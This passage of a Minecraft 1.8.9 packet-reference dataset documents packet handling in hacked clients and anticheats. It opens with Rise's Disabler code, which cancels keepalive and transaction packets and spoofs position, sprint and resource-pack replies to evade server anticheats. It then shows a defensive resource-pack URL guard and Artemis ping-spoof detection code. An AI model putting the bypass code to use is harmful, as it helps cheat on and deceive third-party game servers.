(c0B.getAction().equals(C0BPacketEntityAction.Action.STOP_SPRINTING)) {\n                    event.setCancelled(true);\n                }\n            }\n        }\n\n        if (dynamicPvP.isEnabled()) {\n            if (packet instanceof C03PacketPlayer) {\n                if (mc.thePlayer.ticksExisted % 3 == 0)\n                    event.setCancelled(true);\n\n                final C03PacketPlayer packetPlayer = (C03PacketPlayer) event.getPacket();\n                double x = mc.thePlayer.posX, y = mc.thePlayer.posY, z = mc.thePlayer.posZ;\n\n                if (packetPlayer.isMoving()) {\n                    x = packetPlayer.getPositionX();\n                    y = packetPlayer.getPositionY();\n                    z = packetPlayer.getPositionZ();\n                }\n\n                if (mc.thePlayer.ticksExisted % 20 == 0)\n                    PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(x, y, z, packetPlayer.isOnGround()));\n\n                event.setPacket(new C03PacketPlayer.C06PacketPlayerPosLook(x, y, z, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, packetPlayer.isOnGround()));\n            }\n\n            if (packet instanceof C0FPacketConfirmTransaction || packet instanceof C00PacketKeepAlive)\n                event.setCancelled(true);\n\n            if (packet instanceof C0BPacketEntityAction) {\n                final C0BPacketEntityAction c0B = (C0BPacketEntityAction) packet;\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                    if (EntityPlayerSP.serverSprintState) {\n                        PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                        EntityPlayerSP.serverSprintState = false;\n                    }\n                    event.setCancelled(true);\n                }\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.STOP_SPRINTING)) {\n                    event.setCancelled(true);\n                }\n            }\n        }\n\n        if (spartan.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C06PacketPlayerPosLook(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.rotationYaw, 91, mc.thePlayer.onGround));\n        }\n\n        if (sentinel.isEnabled()) {\n            if (packet instanceof C0FPacketConfirmTransaction || packet instanceof C00PacketKeepAlive) {\n//                packetHashMap.put(p, System.currentTimeMillis() + RandomUtils.nextLong(15000, 25000));\n                event.setCancelled(true);\n            }\n\n            if (packet instanceof C03PacketPlayer.C04PacketPlayerPosition) {\n                final C03PacketPlayer.C04PacketPlayerPosition packetPlayerPosition = (C03PacketPlayer.C04PacketPlayerPosition) packet;\n                event.setPacket(new C03PacketPlayer.C06PacketPlayerPosLook(packetPlayerPosition.getX(), packetPlayerPosition.getY(), packetPlayerPosition.getZ(), mc.thePlayer.rotationYaw + (mc.thePlayer.ticksExisted % 2 == 0 ? RandomUtils.nextFloat(0.05F, 0.1F) : -RandomUtils.nextFloat(0.05F, 0.1F)), mc.thePlayer.rotationPitch, packetPlayerPosition.isOnGround()));\n            }\n        }\n\n        if (c0f.isEnabled() || shartemis.isEnabled()) {\n            if (packet instanceof C0FPacketConfirmTransaction)\n                event.setCancelled(true);\n        }\n\n        if (c00.isEnabled()) {\n            if (packet instanceof C00PacketKeepAlive)\n                event.setCancelled(true);\n        }\n\n        if (lunar.isEnabled()) {\n            if (packet instanceof C0FPacketConfirmTransaction || packet instanceof C00PacketKeepAlive)\n                event.setCancelled(true);\n\n            if (packet instanceof C0BPacketEntityAction) {\n                final C0BPacketEntityAction c0B = (C0BPacketEntityAction) packet;\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                    if (EntityPlayerSP.serverSprintState) {\n                        PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                        EntityPlayerSP.serverSprintState = false;\n                    }\n                    event.setCancelled(true);\n                }\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.STOP_SPRINTING)) {\n                    event.setCancelled(true);\n                }\n            }\n\n            if (packet instanceof C03PacketPlayer.C04PacketPlayerPosition) {\n                final C03PacketPlayer.C04PacketPlayerPosition packetPlayerPosition = (C03PacketPlayer.C04PacketPlayerPosition) packet;\n                event.setPacket(new C03PacketPlayer.C06PacketPlayerPosLook(packetPlayerPosition.getX(), packetPlayerPosition.getY(), packetPlayerPosition.getZ(), mc.thePlayer.rotationYaw + (mc.thePlayer.ticksExisted % 2 == 0 ? RandomUtils.nextFloat(0.05F, 0.1F) : -RandomUtils.nextFloat(0.05F, 0.1F)), mc.thePlayer.rotationPitch, packetPlayerPosition.isOnGround()));\n            }\n        }\n\n        if (reverseConvertMovingPackets.isEnabled()) {\n            if (packet instanceof C03PacketPlayer.C06PacketPlayerPosLook) {\n                final C03PacketPlayer.C06PacketPlayerPosLook packetPlayerPosition = (C03PacketPlayer.C06PacketPlayerPosLook) packet;\n                event.setPacket(new C03PacketPlayer.C04PacketPlayerPosition(packetPlayerPosition.getX(), packetPlayerPosition.getY(), packetPlayerPosition.getZ(), packetPlayerPosition.isOnGround()));\n            }\n        }\n\n        if (convertMovingPackets.isEnabled()) {\n            if (packet instanceof C03PacketPlayer.C04PacketPlayerPosition) {\n                final C03PacketPlayer.C04PacketPlayerPosition packetPlayerPosition = (C03PacketPlayer.C04PacketPlayerPosition) packet;\n                event.setPacket(new C03PacketPlayer.C06PacketPlayerPosLook(packetPlayerPosition.getX(), packetPlayerPosition.getY(), packetPlayerPosition.getZ(), mc.thePlayer.rotationYaw + (mc.thePlayer.ticksExisted % 2 == 0 ? RandomUtils.nextFloat(0.05F, 0.1F) : -RandomUtils.nextFloat(0.05F, 0.1F)), mc.thePlayer.rotationPitch, packetPlayerPosition.isOnGround()));\n            }\n        }\n\n        if (mmcKeepSprint.isEnabled()) {\n            if (packet instanceof C0BPacketEntityAction) {\n                final C0BPacketEntityAction c0B = (C0BPacketEntityAction) packet;\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                    if (EntityPlayerSP.serverSprintState) {\n                        PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                        EntityPlayerSP.serverSprintState = false;\n                    }\n                    event.setCancelled(true);\n                }\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.STOP_SPRINTING)) {\n                    event.setCancelled(true);\n                }\n            }\n        }\n\n        if (mmcReach.isEnabled() && (PlayerUtil.isOnServer(\"minemen\") || PlayerUtil.isOnServer(\"mineman\"))) {\n            if (packet instanceof C0FPacketConfirmTransaction) {\n                event.setCancelled(true);\n            }\n        }\n    }\n\n    @Override\n    public void onStrafe(final StrafeEvent event) {\n        if (mineland.isEnabled()) {\n            PacketUtil.sendPacket(new C18PacketSpectate(UUID.randomUUID()));\n        }\n    }\n\n    @Override\n    public void onWorldChanged(final WorldChangedEvent event) {\n    }\n\n}\n// NOTE (AI): The C19 hit is the c19 disabler mode: it sends C19PacketResourcePackStatus with an empty hash string and Action.ACCEPTED via sendPacketWithoutEvent. The intent is to satisfy pack-gated server features without ever downloading the pack; a strict plugin that matches the hash against its own S48 log sees the mismatch, a sloppy one grants the gate. The same file also carries the C13, C18 and C0F modes covered on their own impl pages.",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/Disabler.java",
      "vanilla_hook": "onPreMotion (PreMotionEvent).",
      "anti_cheat_notes": "A strict server matches the hash against its own S48 log and sees the empty hash; a sloppy one unlocks the gated features. No anti-cheat involvement.",
      "variations": "No other client in the corpus spoofs ACCEPTED; the other implementations block instead of accept."
     },
     {
      "name": "Enhancements (protocol guard)",
      "found_in": [
       "Tenacity 6.0"
      ],
      "purpose": "Globally reject non-http/https/level pack URLs and answer FAILED_DOWNLOAD outside any module.",
      "how_it_works": "The static utility validates the S48 URL scheme, sends C19 FAILED_DOWNLOAD with the real hash for bad schemes and throws URISyntaxException to abort the vanilla download.",
      "detailed_code": null,
      "code_source": "Tenacity 6.0, dev/tenacity/util/misc/Enhancements.java",
      "vanilla_hook": "S48 receive interception via the utility's integration point.",
      "anti_cheat_notes": "Same stealth profile as AntiExploit: the reply is a consistent FAILED_DOWNLOAD with the correct hash.",
      "variations": "AntiExploit is the user-facing module; Enhancements is the always-on guard."
     },
     {
      "name": "MixinNetHandlerPlayClient (resource pack guard)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Block malicious level:// resource packs at the vanilla handler and reply C19 FAILED_DOWNLOAD to keep the server state machine consistent.",
      "how_it_works": "@Inject on handleResourcePack HEAD, cancellable: parse the S48 URL scheme, require http/https/level, and for level:// reject traversal (..) or a path not ending in /resources.zip. On URISyntaxException it logs, sends C19(hash, FAILED_DOWNLOAD) through netManager, and cancels the vanilla handler so the download never starts.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetHandlerPlayClient.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.injection.forge.mixins.network;\n\nimport io.netty.buffer.Unpooled;\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.EntityMovementEvent;\nimport net.ccbluex.liquidbounce.event.PacketSenEvent;\nimport net.ccbluex.liquidbounce.features.module.modules.movement.Fly;\nimport net.ccbluex.liquidbounce.features.special.AntiForge;\nimport net.ccbluex.liquidbounce.utils.ClientUtils;\nimport net.minecraft.client.ClientBrandRetriever;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.client.entity.EntityPlayerSP;\nimport net.minecraft.client.gui.GuiDownloadTerrain;\nimport net.minecraft.client.multiplayer.PlayerControllerMP;\nimport net.minecraft.client.multiplayer.WorldClient;\nimport net.minecraft.client.network.NetHandlerPlayClient;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.inventory.Container;\nimport net.minecraft.network.*;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C17PacketCustomPayload;\nimport net.minecraft.network.play.client.C19PacketResourcePackStatus;\nimport net.minecraft.network.play.server.S01PacketJoinGame;\nimport net.minecraft.network.play.server.S14PacketEntity;\nimport net.minecraft.network.play.server.S32PacketConfirmTransaction;\nimport net.minecraft.network.play.server.S48PacketResourcePackSend;\nimport net.minecraft.world.WorldSettings;\nimport org.spongepowered.asm.mixin.Final;\nimport org.spongepowered.asm.mixin.Mixin;\nimport org.spongepowered.asm.mixin.Overwrite;\nimport org.spongepowered.asm.mixin.Shadow;\nimport org.spongepowered.asm.mixin.injection.At;\nimport org.spongepowered.asm.mixin.injection.Inject;\nimport org.spongepowered.asm.mixin.injection.callback.CallbackInfo;\n\nimport java.net.URI;\nimport java.net.URISyntaxException;\n\n@Mixin(NetHandlerPlayClient.class)\npublic abstract class MixinNetHandlerPlayClient {\n\n    @Shadow\n    @Final\n    private NetworkManager netManager;\n\n    @Shadow\n    private Minecraft gameController;\n\n    @Shadow\n    private WorldClient clientWorldController;\n\n    @Shadow\n    public int currentServerMaxPlayers;\n\n    @Inject(method = \"handleResourcePack\", at = @At(\"HEAD\"), cancellable = true)\n    private void handleResourcePack(final S48PacketResourcePackSend p_handleResourcePack_1_, final CallbackInfo callbackInfo) {\n        final String url = p_handleResourcePack_1_.getURL();\n        final String hash = p_handleResourcePack_1_.getHash();\n\n        try {\n            final String scheme = new URI(url).getScheme();\n            final boolean isLevelProtocol = \"level\".equals(scheme);\n\n            if(!\"http\".equals(scheme) && !\"https\".equals(scheme) && !isLevelProtocol)\n                throw new URISyntaxException(url, \"Wrong protocol\");\n\n            if(isLevelProtocol && (url.contains(\"..\") || !url.endsWith(\"/resources.zip\")))\n                throw new URISyntaxException(url, \"Invalid levelstorage resourcepack path\");\n        }catch(final URISyntaxException e) {\n            ClientUtils.getLogger().error(\"Failed to handle resource pack\", e);\n            netManager.sendPacket(new C19PacketResourcePackStatus(hash, C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));\n            callbackInfo.cancel();\n        }\n    }\n\n    @Inject(method = \"handleJoinGame\", at = @At(\"HEAD\"), cancellable = true)\n    private void handleJoinGameWithAntiForge(S01PacketJoinGame packetIn, final CallbackInfo callbackInfo) {\n        if(!AntiForge.enabled || !AntiForge.blockFML || Minecraft.getMinecraft().isIntegratedServerRunning())\n            return;\n\n        PacketThreadUtil.checkThreadAndEnqueue(packetIn, (NetHandlerPlayClient) (Object) this, gameController);\n        this.gameController.playerController = new PlayerControllerMP(gameController, (NetHandlerPlayClient) (Object) this);\n        this.clientWorldController = new WorldClient((NetHandlerPlayClient) (Object) this, new WorldSettings(0L, packetIn.getGameType(), false, packetIn.isHardcoreMode(), packetIn.getWorldType()), packetIn.getDimension(), packetIn.getDifficulty(), this.gameController.mcProfiler);\n        this.gameController.gameSettings.difficulty = packetIn.getDifficulty();\n        this.gameController.loadWorld(this.clientWorldController);\n        this.gameController.thePlayer.dimension = packetIn.getDimension();\n        this.gameController.displayGuiScreen(new GuiDownloadTerrain((NetHandlerPlayClient) (Object) this));\n        this.gameController.thePlayer.setEntityId(packetIn.getEntityId());\n        this.currentServerMaxPlayers = packetIn.getMaxPlayers();\n        this.gameController.thePlayer.setReducedDebug(packetIn.isReducedDebugInfo());\n        this.gameController.playerController.setGameType(packetIn.getGameType());\n        this.gameController.gameSettings.sendSettingsToServer();\n        this.netManager.sendPacket(new C17PacketCustomPayload(\"MC|Brand\", (new PacketBuffer(Unpooled.buffer())).writeString(ClientBrandRetriever.getClientModName())));\n        callbackInfo.cancel();\n    }\n\n    @Inject(method = \"handleEntityMovement\", at = @At(value = \"FIELD\", target = \"Lnet/minecraft/entity/Entity;onGround:Z\"))\n    private void handleEntityMovementEvent(S14PacketEntity packetIn, final CallbackInfo callbackInfo) {\n        final Entity entity = packetIn.getEntity(this.clientWorldController);\n\n        if(entity != null)\n            LiquidBounce.eventManager.callEvent(new EntityMovementEvent(entity));\n    }\n\n    @Inject(method = \"addToSendQueue\", at = @At(\"HEAD\"), cancellable = true)\n    private void senpacket(Packet<?> packet, final CallbackInfo callbackInfo) {\n        final PacketSenEvent event = new PacketSenEvent(packet);\n        LiquidBounce.eventManager.callEvent(event);\n        if (event.isCancelled()) {\n            callbackInfo.cancel();\n        }\n    }\n    @Overwrite\n    public void handleConfirmTransaction(S32PacketConfirmTransaction packetIn) {\n        PacketThreadUtil.checkThreadAndEnqueue((Packet)packetIn, (INetHandler)this, this.gameController);\n        Container container = null;\n        EntityPlayerSP entityplayer = Minecraft.getMinecraft().thePlayer;\n        if (packetIn.getWindowId() == 0) {\n            container = entityplayer.inventoryContainer;\n        } else if (packetIn.getWindowId() == entityplayer.openContainer.windowId) {\n            container = entityplayer.openContainer;\n        }\n        if (container != null && !packetIn.func_148888_e()) {\n            Minecraft.getMinecraft().getNetHandler().addToSendQueue(new C0FPacketConfirmTransaction(packetIn.getWindowId(), packetIn.getActionNumber(), true));\n        }\n    }\n}\n// NOTE (AI): The guard runs inside the vanilla handler before the download starts, so a blocked pack never reaches the URL fetch. The FAILED_DOWNLOAD reply uses the real S48 hash, which strict plugins accept as a genuine failure.\n",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetHandlerPlayClient.java",
      "vanilla_hook": "@Inject on NetHandlerPlayClient.handleResourcePack; netManager.sendPacket for the reply.",
      "anti_cheat_notes": "The FAILED_DOWNLOAD carries the real S48 hash, indistinguishable from a genuine download failure; same stealth profile as the Rise 6.x SecurityFeature.",
      "variations": "The same mixin class also overwrites handleConfirmTransaction and fires EntityMovementEvent, which is why it appears in the S32 and S14 impl pages."
     }
    ],
    "general_hooks": "PacketReceiveEvent on S48PacketResourcePackSend (Tenacity), SecurityFeature handle (Rise 6.x), direct send for the spoof (Rise 5.99).",
    "client_variations": "Rise 6.x answers via PacketUtil.sendNoEvent; Tenacity via mc.getNetHandler().addToSendQueue or networkManager.sendPacket; Rise 5.99 via sendPacketWithoutEvent. PingSpoofComponent also holds C19 in its blink tuple in both Rise 6.x builds. November Recode 2.0 registers C19 in its LuaEventPacket scripting id map (0x19) but ships no pack-handling module.",
    "related": [
     "S48PacketResourcePackSend",
     "C17PacketCustomPayload"
    ],
    "anticheat": {
     "overview": "Artemis is the only anticheat with real logic on the resource-pack-status packet. Its PingSpoofProtocol uses the packet as a cheap keepalive on 1.8 servers to detect ping spoofing, and ResourcePackTickHandler turns it into a tick-confirmation channel. Other corpus hits are packet-type registrations and FlopAC wrappers.",
     "checks": [
      {
       "name": "PingSpoofProtocol (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Detect ping spoofing using resource-pack responses as keepalives.",
       "how_it_works": "On 1.9 and older servers, the check pushes a fake resource pack whose URL encodes a numeric id, then expects the client's ResourcePackStatus response with FAILED_DOWNLOAD and a matching id, followed by the next keepalive. Missing, out-of-order, or non-numeric responses log violations. On 1.10+ it switches to fake teleports because the resource-pack hash was removed.",
       "detects": "Ping spoofers that suppress or reorder keepalive packets, and clients that answer resource-pack requests they were never sent.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.checks.enterprise/src/main/java/ac/artemis/checks/enterprise/spoof/PingSpoofProtocol.java =====\npackage ac.artemis.checks.enterprise.spoof;\n\nimport ac.artemis.core.v4.check.ArtemisCheck;\nimport ac.artemis.core.v4.check.FastProcessHandler;\nimport ac.artemis.core.v4.check.PacketHandler;\nimport ac.artemis.core.v4.check.annotations.Check;\nimport ac.artemis.anticheat.api.check.type.Type;\nimport ac.artemis.core.v4.check.exempt.type.ExemptType;\nimport ac.artemis.core.v4.check.settings.CheckInformation;\nimport ac.artemis.core.v4.data.PlayerData;\nimport ac.artemis.core.v4.utils.chat.StringUtil;\nimport ac.artemis.packet.PacketManager;\nimport cc.ghast.packet.PacketAPI;\nimport ac.artemis.packet.protocol.ProtocolVersion;\nimport cc.ghast.packet.wrapper.mc.PlayerEnums;\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport cc.ghast.packet.wrapper.packet.play.client.GPacketPlayClientCustomPayload;\nimport cc.ghast.packet.wrapper.packet.play.client.GPacketPlayClientKeepAlive;\nimport cc.ghast.packet.wrapper.packet.play.client.GPacketPlayClientResourcePackStatus;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerKeepAlive;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerResourcePackSend;\nimport java.util.Deque;\nimport java.util.LinkedList;\n\n/**\n * @author Ghast\n * @since 25/03/2021\n * Artemis © 2021\n *\n * This is most effectively the best antibot protection I've got on Artemis. By combining the\n * concept of checking a random resource pack link and the usage of keep alives, we can pretty\n * much capture whether or not a player is a bot or has a broken client misplacing keep-alives/\n * resource packs.\n */\n@Check(type = Type.PINGSPOOF, var = \"Protocol\")\npublic class PingSpoofProtocol extends ArtemisCheck implements PacketHandler, FastProcessHandler {\n    public PingSpoofProtocol(PlayerData data, CheckInformation info) {\n        super(data, info);\n    }\n\n    private final Deque<Long> ids = new LinkedList<>();\n    private Long next;\n\n    @Override\n    public void handle(GPacket packet) {\n        final boolean exempt = this.isExempt(ExemptType.JOIN);\n\n        /*\n         * They removed the hash :(. We can't use it to identify packet order. How unlucky. This would mean\n         * this would false on laggy and latter clients; We can instead from 1.9+ use fake teleports.\n         */\n        if (data.getVersion().isOrAbove(ProtocolVersion.V1_10))\n            return;\n\n        /*\n         * Lets handle resource pack status. Since we flush the channel before, theoretically this should be processed\n         * beforehand?\n         */\n        if (packet instanceof GPacketPlayClientResourcePackStatus) {\n            final GPacketPlayClientResourcePackStatus sts = (GPacketPlayClientResourcePackStatus) packet;\n            /*\n             * Lets not interfere with real resource pack requests alright?\n             */\n            if (!StringUtil.isNumeric(sts.getUrl().get())) {\n                this.debug(\"Invalid id\");\n                return;\n            }\n\n            /*\n             * Theoretically speaking, the client can ONLY respond with FAILED_DOWNLOAD. Anything other\n             * than that is completely invalid. Hence we can just skip over it.\n             */\n            if (!sts.getStatus().equals(PlayerEnums.ResourcePackStatus.FAILED_DOWNLOAD) && !exempt) {\n                this.log(\"Successfully downloaded - Invalid\");\n                this.debug(\"[FLAG] Successfully downloaded - Invalid\");\n                return;\n            }\n\n            /*\n             * Both resource pack and keep alive packets are async to the threading. Meaning they aren't ticked.\n             * This means these are synchronous but not correlated to other packets. Perfect for a pingspoof check.\n             * If no response is received, it's invalid\n             */\n            if (ids.isEmpty() && !exempt) {\n                this.log(\"Packet coming from idk where\");\n                this.debug(\"[FLAG] Packet coming from idk where\");\n                return;\n            }\n\n            /*\n             * Alrighty lets get decoding.\n             */\n            final long var = Long.decode(sts.getUrl().get());\n\n            /*\n             * No clue where tf this keep alive coming from hommie, but it defo ain't ours, so it's a bad\n             * packet.\n             */\n            if (!ids.contains(var) && !exempt) {\n                this.log(\"Keep alive does not exist bruh\");\n                this.debug(\"[FLAG] Keep alive does not exist bruh\");\n                return;\n            }\n\n            long id = ids.poll();\n\n            /*\n             * Well this is awkward. We're receiving the wrong... packet id?\n             * Hence, this is deemed as a bad packet.\n             */\n            if (id != var && ids.contains(var)) {\n\n                while (id != var && !ids.isEmpty()) {\n                    id = ids.poll();\n\n                    if (exempt)\n                        continue;\n\n                    this.log(\"Invalid identifier, polling queue...\");\n                }\n            }\n\n            /*\n             * Nice alright, valid keep alive, lets mark the next id to receive.\n             */\n            else {\n                next = var;\n                ids.remove(var);\n\n                this.debug(\"resource=\" + var);\n            }\n        }\n\n        /*\n         * Since the keep alive flushed out a resource pack status packet, the next packet received should be the\n         * resource pack denial then only the keep alive.\n         */\n        else if (packet instanceof GPacketPlayClientKeepAlive) {\n            final GPacketPlayClientKeepAlive ka = (GPacketPlayClientKeepAlive) packet;\n\n            if (next == null) {\n                if (!exempt)\n                    this.log(\"No confirmation\");\n                return;\n            }\n\n            if (next == ka.getId()) {\n                this.debug(\"ka=\" + ka.getId());\n            } else if (!exempt) {\n                this.log(\"Packet order 0x1\");\n                this.debug(\"[FLAG] Packet order 0x1\");\n            }\n        }\n    }\n\n    @Override\n    public void fastHandle(GPacket packet) {\n        /*\n         * They removed the hash :(. We can't use it to identify packet order. How unlucky. This would mean\n         * this would false on laggy and latter clients; We can instead from 1.9+ use fake teleports.\n         */\n        if (data.getVersion().isOrAbove(ProtocolVersion.V1_10))\n            return;\n\n        /*\n         * Only handle server keep alives because uhhh\n         */\n        if (packet instanceof GPacketPlayServerKeepAlive) {\n            final GPacketPlayServerKeepAlive ka = (GPacketPlayServerKeepAlive) packet;\n\n            this.ids.add(ka.getId());\n            final String encoded = Long.toString(ka.getId());\n            PacketManager.getApi().sendPacket(\n                    data.getPlayer().getUniqueId(),\n                    new GPacketPlayServerResourcePackSend(\n                            \"level://\" + Math.random() + \"/resources.zip\", encoded\n                    )\n            );\n        }\n    }\n}\n\n// NOTE (AI): The check encodes the keepalive id into the resource-pack URL, which only works on protocols where the client echoes the URL back in the status packet.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.checks.enterprise/src/main/java/ac/artemis/checks/enterprise/spoof/PingSpoofProtocol.java",
       "variations": "ResourcePackTickHandler in the same repo reuses the mechanism as a tick-confirmation channel on 1.8; FlopAC and Negativity only register the packet type."
      },
      {
       "name": "ResourcePackTickHandler (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Turn resource-pack status into a tick counter for the connection.",
       "how_it_works": "On 1.8 servers, pushes a level:// resource pack whose hash encodes a numeric id, and accepts only FAILED_DOWNLOAD responses whose URL is numeric and contains the player name. The parsed id is stored as the player's resourcePackTick.",
       "detects": "Nothing directly. It feeds the tick-confirmation infrastructure that other Artemis checks use to measure connection state.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.core/src/main/java/ac/artemis/core/v5/features/tick/impl/ResourcePackTickHandler.java =====\npackage ac.artemis.core.v5.features.tick.impl;\n\nimport ac.artemis.core.v4.data.PlayerData;\nimport ac.artemis.core.v4.utils.chat.StringUtil;\nimport ac.artemis.packet.PacketManager;\nimport cc.ghast.packet.PacketAPI;\nimport ac.artemis.packet.protocol.ProtocolVersion;\nimport cc.ghast.packet.wrapper.mc.PlayerEnums;\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport cc.ghast.packet.wrapper.packet.play.client.GPacketPlayClientResourcePackStatus;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerResourcePackSend;\n\npublic class ResourcePackTickHandler extends AbstractTickHandler<GPacketPlayClientResourcePackStatus> {\n    public ResourcePackTickHandler(final PlayerData data) {\n        super(data);\n    }\n\n    @Override\n    public boolean canReceive() {\n        return data.getVersion().isOrBelow(ProtocolVersion.V1_8_9);\n    }\n\n    @Override\n    public boolean isPacket(final GPacket packet) {\n        if (!(packet instanceof GPacketPlayClientResourcePackStatus))\n        return false;\n\n        final GPacketPlayClientResourcePackStatus wrapper = (GPacketPlayClientResourcePackStatus) packet;\n        /*\n         * Theoretically speaking, the client can ONLY respond with FAILED_DOWNLOAD. Anything other\n         * than that is completely invalid. Hence we can just skip over it.\n         */\n        if (!wrapper.getStatus().equals(PlayerEnums.ResourcePackStatus.FAILED_DOWNLOAD))\n            return false;\n\n        if (!wrapper.getUrl().isPresent())\n            return false;\n\n        if (!wrapper.getUrl().get().contains(data.getPlayer().getName()))\n            return false;\n\n        return StringUtil.isNumeric(wrapper.getUrl().get());\n    }\n\n    @Override\n    public short getPacketId(final GPacket packet) {\n        return Short.parseShort(((GPacketPlayClientResourcePackStatus) packet).getUrl().get());\n    }\n\n    @Override\n    public void onConsume(final GPacketPlayClientResourcePackStatus packet) {\n        data.connection.resourcePackTick = Integer.parseInt(packet.getUrl().get());\n    }\n\n    @Override\n    public void onPush(final boolean flush, final short id) {\n        final GPacket packet = new GPacketPlayServerResourcePackSend(\n                \"level://\" + data.getPlayer().getName() + \"_\" + Math.random() + \"/resources.zip\",\n                Short.toString(id)\n        );\n        PacketManager.getApi().sendPacket(data.getPlayer().getUniqueId(), packet);\n    }\n}\n\n// NOTE (AI): This is a confirmation tracker rather than a flagging check, which is why the corpus classifies it under Artemis v5 tick features.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.core/src/main/java/ac/artemis/core/v5/features/tick/impl/ResourcePackTickHandler.java",
       "variations": "PingSpoofProtocol is the same mechanism used for keepalive verification; the tick handler is the non-checking consumer of it."
      }
     ]
    }
   },
   "wiki_notes": [
    "Hash string max 40 chars echoing the S48 hash (ctor truncates past 40) plus VarInt action 0-3.",
    "Action order is 0 loaded, 1 declined, 2 failed download, 3 accepted; PLAY serverbound 0x19.",
    "Vanilla 1.8.9 server handler is an empty no-op; required-pack kicks and gating live in plugins.",
    "MCP 1.8.9 C19PacketResourcePackStatus implements Packet<INetHandlerPlayServer> dispatching to INetHandlerPlayServer.handleResourcePackStatus; wire serde is readPacketData/writePacketData via readEnumValue, readStringFromBuffer.",
    "1.8.9 callers: NetHandlerPlayClient.handleResourcePack sends new C19PacketResourcePackStatus (line 1714): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/network/NetHandlerPlayClient.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C19PacketResourcePackStatus/",
   "mcp_path": "net/minecraft/network/play/client/C19PacketResourcePackStatus.java",
   "group": "play-server",
   "logic_classes": [
    "NetHandlerPlayClient"
   ]
  },
  {
   "id": "S00PacketDisconnect",
   "hex": "0x00",
   "dec": 0,
   "dir": "CLIENTBOUND",
   "state": "LOGIN",
   "name": "Login Disconnect",
   "desc": "Kicks the client during the login phase with a JSON chat component reason message (e.g. 'You are banned', 'Server is full').",
   "tags": [
    "login",
    "disconnect",
    "kick"
   ],
   "fields": [
    {
     "name": "reason",
     "type": "IChatComponent (JSON)",
     "desc": "The disconnect reason message displayed to the player"
    }
   ],
   "encoding": [
    [
     "Reason",
     "Chat Component (JSON)",
     "Serialized as JSON chat component string"
    ]
   ],
   "mcp": [
    "NetHandlerLoginClient.handleDisconnect()"
   ],
   "handler": "INetHandlerLoginClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S00PacketDisconnect is the LOGIN-state kick: the server sends it with a JSON IChatComponent reason whenever the handshake fails before the player exists. NetHandlerHandshakeTCP uses it for protocol version mismatches, NetHandlerLoginServer for banned, full, whitelisted or unverified players, and any plugin that rejects a join during login. The client's NetHandlerLoginClient.handleDisconnect closes the channel with the reason, which surfaces as the GuiDisconnected screen. Its PLAY-state sibling is S40PacketDisconnect, used for kicks after the world loads."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerLoginClient.handleDisconnect calls field_147393_d.closeChannel(packetIn.func_149603_c()), which tears down the NetworkManager and shows the disconnect screen with the JSON reason rendered. The server side has no symmetric handler because this packet is server-to-client only; the server closes the connection after sending it. Because the client handler runs on the login thread path, a module hooking PacketReceiveEvent sees the packet before the channel close, which is the window the 10 clients use to clean up state."
     },
     {
      "h": "Why clients touch it",
